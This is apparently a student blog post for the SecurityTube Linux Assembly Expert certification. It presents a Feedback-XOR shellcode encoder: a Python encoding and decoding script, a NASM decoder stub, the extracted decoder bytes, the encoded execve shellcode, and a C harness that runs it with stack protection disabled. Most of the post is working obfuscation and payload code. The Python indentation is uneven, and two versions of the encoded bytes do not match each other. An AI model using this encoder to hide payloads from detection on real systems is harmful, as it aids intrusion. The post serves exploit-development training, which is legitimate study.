This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

  • Create a custom encoding scheme like the “Insertion Encoder” we showed you
  • PoC with using execve-stack as the shellcode to encode with your schema and execute

Overview

We developed an encoder to encode shellcode using Feedback XOR.

Since we need to divide plain text shellcode into 4-byte blocks. We appended padding \x90 and end block \x50\x90\x50\x90 to the shellcode. We make sure

Each plaintext block will be XOR-ed with Random IV or previous encoded block. Graphic illustration as shown below.

Encoding Process

The output of encoding python script as shown below.

Decoding Process

The decoding process as shown below. Each encoded block will be XOR-ed with Random IV or previous encoded block.

Python Implementation

We have build a python script for encoding and decoding shellcode.

#!/usr/bin/python
 
from random import randint
import sys
 
def fbxencode(shellcode):
 
        iv = '%x' % randint(1,0xffffffff)
        t = iter(iv)
        iv = '\\x' + '\\x'.join(a+b for a,b in zip(t, t))
 
        while ('\\x00' in iv):
                iv = '%x' % randint(1,0xffffffff)
                t = iter(iv)
                iv = '\\x' + '\\x'.join(a+b for a,b in zip(t, t))
 
        ivshellcode = iv + shellcode + '\\x90' * (4 - (len(shellcode)/4) % 4) + '\\x50\\x90\\x50\\x90'
        ivshellcode = ivshellcode.replace('\\x', '')
 
        blocks = []
        for i in range(0, len(ivshellcode)/8):
                blocks.append(int('0x'+ ivshellcode[i*8:i*8+8], 16))
        for i in range(len(blocks)-1):
                blocks[i+1] = (blocks[i] ^ blocks[i+1])
 
    encoded = ""
    for i in range(len(blocks)):
        encoded += format(blocks[i], '08x')
 
        return encoded
 
def fbxdecode(encoded):
 
        blocks = []
    cleartext = ""
 
        for i in range(0, len(encoded)/8):
                blocks.append(int('0x'+ encoded[i*8:i*8+8], 16))
 
        for i in range(len(blocks)-1):
        if (blocks[i] ^ blocks[i+1] == 0x90509050):
            break
                blocks[i] = (blocks[i] ^ blocks[i+1])
                cleartext += format(blocks[i], '08x')
 
        return cleartext
 
if (len(sys.argv) != 2):
    print "Usage: ./" + sys.argv[0] + " \"<ShellCode>\""
    exit()
 
shellcode = sys.argv[1]
 
if '\\' not in shellcode:
    print "[!] Use need to use double quotes or single quotes in shellcode"
    exit()
 
print "\n[Shellcode]"
print shellcode + "\n"
 
encoded = fbxencode(shellcode)
t = iter(encoded)
encoded_format = '0x' + ',0x'.join(a+b for a,b in zip(t, t))
while "0x00" in encoded_format:
    encoded = fbxencode(shellcode)
    t = iter(encoded)
    encoded_format = '0x' + ',0x'.join(a+b for a,b in zip(t, t))
 
print "[Encoded]"
t = iter(encoded)
print '0x' + ',0x'.join(a+b for a,b in zip(t, t))
t = iter(encoded)
print '\\x' + '\\x'.join(a+b for a,b in zip(t, t)) + "\n"
 
decoded = fbxdecode(encoded)
t = iter(decoded)
print "[Decoded]"
print '\\x' + '\\x'.join(a+b for a,b in zip(t, t)) + "\n"

Assembly implementation

We compiled a assembly program to decoding the encoding text.

global _start
 
section .text
 
_start:
     
    jmp get_shellcode
 
decoder:
 
    pop esi
    push esi
    mov edi,esi
 
loop:
    mov eax,[esi]
    xor eax,[esi+4]
    cmp eax, 0x90509050
    jz done
    mov [esi],eax
    add esi,0x4
    jmp loop
 
done:
    jmp shellcode  
 
get_shellcode:
     
    call decoder
    shellcode: db 0x43,0xdf,0xba,0x49,0x72,0x1f,0xea,0x21,0x10,0x7e,0x99,0x49,0x78,0x1c,0xf0,0x27,0x57,0x74,0xdf,0x08,0x78,0x5b,0x56,0xeb,0x28,0xd2,0xb4,0xb8,0xa1,0x33,0x04,0xb3,0x6c,0xb3,0x94,0x23,0xfc,0x23,0x04,0xb3

We compiled the disassembly program and got the shellcode for the decoder. The decoder shellcode is 32 bytes long.

> nasm -f elf32 -o hidden.o hidden.nasm
> objdump -d ./hidden |grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-9 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
"\xeb\x19\x5e\x56\x89\xf7\x8b\x06\x33\x46\x04\x3d\x50\x90\x50\x90\x74\x07\x89\x06\x83\xc6\x04\xeb\xed\xeb\x05\xe8\xe2\xff\xff\xff" + shellcode

The full shellcode as shown below.

Testing

We build a C program to test our decoder shellcode.

#include<stdio.h>
#include<string.h>
  
unsigned char code[] = "\xeb\x19\x5e\x56\x89\xf7\x8b\x06\x33\x46\x04\x3d\x50\x90\x50\x90\x74\x07\x89\x06\x83\xc6\x04\xeb\xed\xeb\x05\xe8\xe2\xff\xff\xff"
"\xcc\x67\x7f\x53\xfd\xa7\x2f\x3b\x9f\xc6\x5c\x53\xf7\xa4\x35\x3d\xd8\xcc\x1a\x12\xf7\xe3\x93\xf1\xa7\x6a\x71\xa2\x2e\x8b\xc1\xa9\xe3\x0b\x51\x39\xb3\x9b\x01\xa9";
 
void main() {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

We successful executed the program to decode the encoded shellcode and execute it.

> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c -g